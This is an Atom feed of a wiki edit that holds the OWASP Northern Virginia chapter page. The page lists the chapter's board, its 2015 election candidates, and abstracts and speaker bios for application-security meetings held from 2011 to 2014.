<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Michael+McCabe</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Michael+McCabe"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Michael_McCabe"/>
		<updated>2026-05-16T13:54:44Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Virginia&amp;diff=234568</id>
		<title>Virginia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Virginia&amp;diff=234568"/>
				<updated>2017-10-23T17:14:56Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: cleaned up chapter leaders&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== About  ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. OWASP Northern Virginia has almost 1000 members with a wide range of experience and backgrounds. We are also one of the two hosts with OWASP DC, hosting the 2016 OWASP AppSec USA Conference in Washington, DC. We'll be looking for members to help volunteer during the next few months.&lt;br /&gt;
&lt;br /&gt;
We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules. &lt;br /&gt;
&lt;br /&gt;
The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics. &lt;br /&gt;
&lt;br /&gt;
{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.&lt;br /&gt;
&lt;br /&gt;
=== Chapter Board ===&lt;br /&gt;
Previously having had a Chapter Leader, then a Chapter &amp;quot;Program Committee&amp;quot;, the chapter is now run by a full board:&lt;br /&gt;
&lt;br /&gt;
* Abdullah Munawar - Board Chair&lt;br /&gt;
* Ben Pick&lt;br /&gt;
* Michael McCabe&lt;br /&gt;
* Sean Poris&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Board member responsibilities include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;   * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics&lt;br /&gt;
   * Recruiting OWASP membership&lt;br /&gt;
   * Driving OWASP NoVA Chapter attendance and involvement&lt;br /&gt;
   * Deferring to, facilitating, and supporting the activities and projects of chapter membership&lt;br /&gt;
   * Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions&lt;br /&gt;
   * Scouting, clearing, and scheduling chapter meeting venues and catering&lt;br /&gt;
   * Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations&lt;br /&gt;
   * Collecting and auditing use of chapter funds&lt;br /&gt;
   * Voting on chapter matters&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;amp;authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}&lt;br /&gt;
&lt;br /&gt;
You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter. &lt;br /&gt;
&lt;br /&gt;
=== 2015 Chapter Election Candidates ===&lt;br /&gt;
*Mike McCabe - Board Chair&lt;br /&gt;
**OWASP Membership ID: 020000901&lt;br /&gt;
**Endorsement - Jack Mannino, Current Board Chair&lt;br /&gt;
**Full Disclosure: Mike reports directly to me at our day job.&lt;br /&gt;
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.&lt;br /&gt;
*Akshay Sivananda&lt;br /&gt;
**OWASP Membership ID:  020000050&lt;br /&gt;
**Endorsement - Ping Ning, Chapter Member&lt;br /&gt;
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.&lt;br /&gt;
*Abdullah Munawar&lt;br /&gt;
**OWASP Membership ID: 020000037&lt;br /&gt;
**Endorsement - Jon Callahan, Chapter Member&lt;br /&gt;
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Schedule  ===&lt;br /&gt;
&lt;br /&gt;
Meetings are (generally) held the first Thursday of the month.&lt;br /&gt;
&lt;br /&gt;
Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.  &lt;br /&gt;
&lt;br /&gt;
== Next Meeting  ==&lt;br /&gt;
&lt;br /&gt;
We'll post all meetings on the Meetup page below. &lt;br /&gt;
&lt;br /&gt;
We can also be contacted through the comment or messages systems on Meetup.&lt;br /&gt;
&lt;br /&gt;
For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past meetings ==&lt;br /&gt;
&lt;br /&gt;
===September 2014===&lt;br /&gt;
'''Date/Time:''' September 4th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
The World of Ruby on Rails Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===July 2014===&lt;br /&gt;
'''Date/Time:''' July 10th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
OAuth 1.0 Authorization and Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===February 2013===&lt;br /&gt;
'''Date/Time:''' February 7th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Jeffrey Walton - &amp;quot;Securing Wireless Channels in the Mobile Space&amp;quot;, [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Securing Wireless Channels in the Mobile Space&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).&lt;br /&gt;
&lt;br /&gt;
'''Downloads:'''&lt;br /&gt;
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===January 2013===&lt;br /&gt;
'''Date/Time:''' January 10th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Upcoming chapter elections and 2013 plans&lt;br /&gt;
 * Talk: &amp;quot;Automating (Some) Android Security Testing&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Automating (Some) Android Security Testing&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===October 2012===&lt;br /&gt;
'''Date/Time:''' October 4th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - &amp;quot;Benchmarking Web Application Scanners for YOUR Organization&amp;quot;, [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Benchmarking Web Application Scanners for YOUR Organization&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2012 ===&lt;br /&gt;
'''Date/Time:''' July 12th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - &amp;quot;Password Storage Security&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;Password Storage Security&amp;quot; [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix. &lt;br /&gt;
&lt;br /&gt;
To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]&lt;br /&gt;
&lt;br /&gt;
For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th (&amp;quot;Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!&amp;quot;): [https://www.coursera.org/course/crypto|Crypto Course] &lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
See  [https://www.owasp.org/index.php/John_Steven| John Steven Bio]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2012 ===&lt;br /&gt;
'''Date/Time:''' June 7th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Ken Johnson (LivingSocial) - &amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot; [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:&lt;br /&gt;
* Developing technical solutions to solving difficult challenges&lt;br /&gt;
* Remaining proactive with an increased workload&lt;br /&gt;
* What it means to innovate&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 &amp;amp; 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2012 ===&lt;br /&gt;
'''Date/Time:''' May 3rd, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * &amp;quot;Chill Out&amp;quot; conversations (formal talked pushed back due to logistical issues)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2012 ===&lt;br /&gt;
'''Date/Time:''' April 16th, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot; by Masha Khainson (Cigital)&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
 * ISSA NoVA Social @Champps!  :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.&lt;br /&gt;
&lt;br /&gt;
'''Bio'''&lt;br /&gt;
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.&lt;br /&gt;
&lt;br /&gt;
Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.&lt;br /&gt;
&lt;br /&gt;
Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2011 ===&lt;br /&gt;
'''Date/Time:''' November 3rd, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 # News / Updates&lt;br /&gt;
 # Talk: &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot; by Ryan Barnett (Trustwave SpiderLabs)&lt;br /&gt;
 # Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
How effective are blacklist filters vs. SQL Injection attacks?  What is the failure rate vs. automated scanning or manual testing?  Are there any &amp;quot;Time-to-Bypass&amp;quot; metrics?  In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community &amp;quot;SQL Injection Challenge&amp;quot; to test the effectiveness of the OWASP ModSecurity Core Rule Set protections.  This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2011 ===&lt;br /&gt;
'''Date/Time:''' October 6th, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166 &lt;br /&gt;
&lt;br /&gt;
'''AGENDA:'''&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * AppSec USA 2011 Recap&lt;br /&gt;
 * Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks &amp;quot;OWASP Top 10 Mobile Risks&amp;quot;]&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
=== September 2011 ===&lt;br /&gt;
&lt;br /&gt;
The September meeting was cancelled due to inclement weather (flash flooding).&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== August 2011  ===&lt;br /&gt;
&lt;br /&gt;
We held a &amp;quot;social&amp;quot; event at Sweetwater Tavern in Sterling, VA. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' July 7th, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166&amp;lt;br&amp;gt; '''Food Sponsor:'''&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: iGoat - Ken Van Wyk&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' The College Board&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 &amp;quot;Insecure Direct Object References&amp;quot;]&lt;br /&gt;
 * College Board Speaker: &amp;quot;Attack-in-Depth:  Exploits of the OWASP Top Ten in Action&amp;quot;&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 - Jack Mannino: &amp;quot;Android Security 101&amp;quot;&lt;br /&gt;
 - Others!&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' Akamai&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election (voice vote on the entire slate)&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 &amp;quot;Broken Authentication and Session Management&amp;quot;]&lt;br /&gt;
 * Speaker: Steve Witmer on A3 from the &amp;quot;breakers&amp;quot; perspective&lt;br /&gt;
 * Speaker: ??? on A3 from the &amp;quot;fixers/defenders&amp;quot; perspective&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 * '''Update:''' All election candidates were elected by voice vote. &lt;br /&gt;
    * Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;authkey=CIS9zFM '11 Chapter Board Election Material]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' April 7, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 &amp;lt;br&amp;gt; '''Food Sponsor:''' [https://www.cigital.com Cigital]&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 &amp;quot;Cross-Site Scripting (XSS)&amp;quot;]&lt;br /&gt;
 * Preso:&amp;quot;Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform&amp;quot; by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])&lt;br /&gt;
 * Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])&lt;br /&gt;
 * Preso:&amp;quot;Growing the secure application developer community through expanded curricula&amp;quot; by Tony Gottlieb&lt;br /&gt;
 * FireTalks (bring it!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== March 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' March 3, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 &amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review&lt;br /&gt;
  * Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 &amp;quot;Injection&amp;quot;]&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
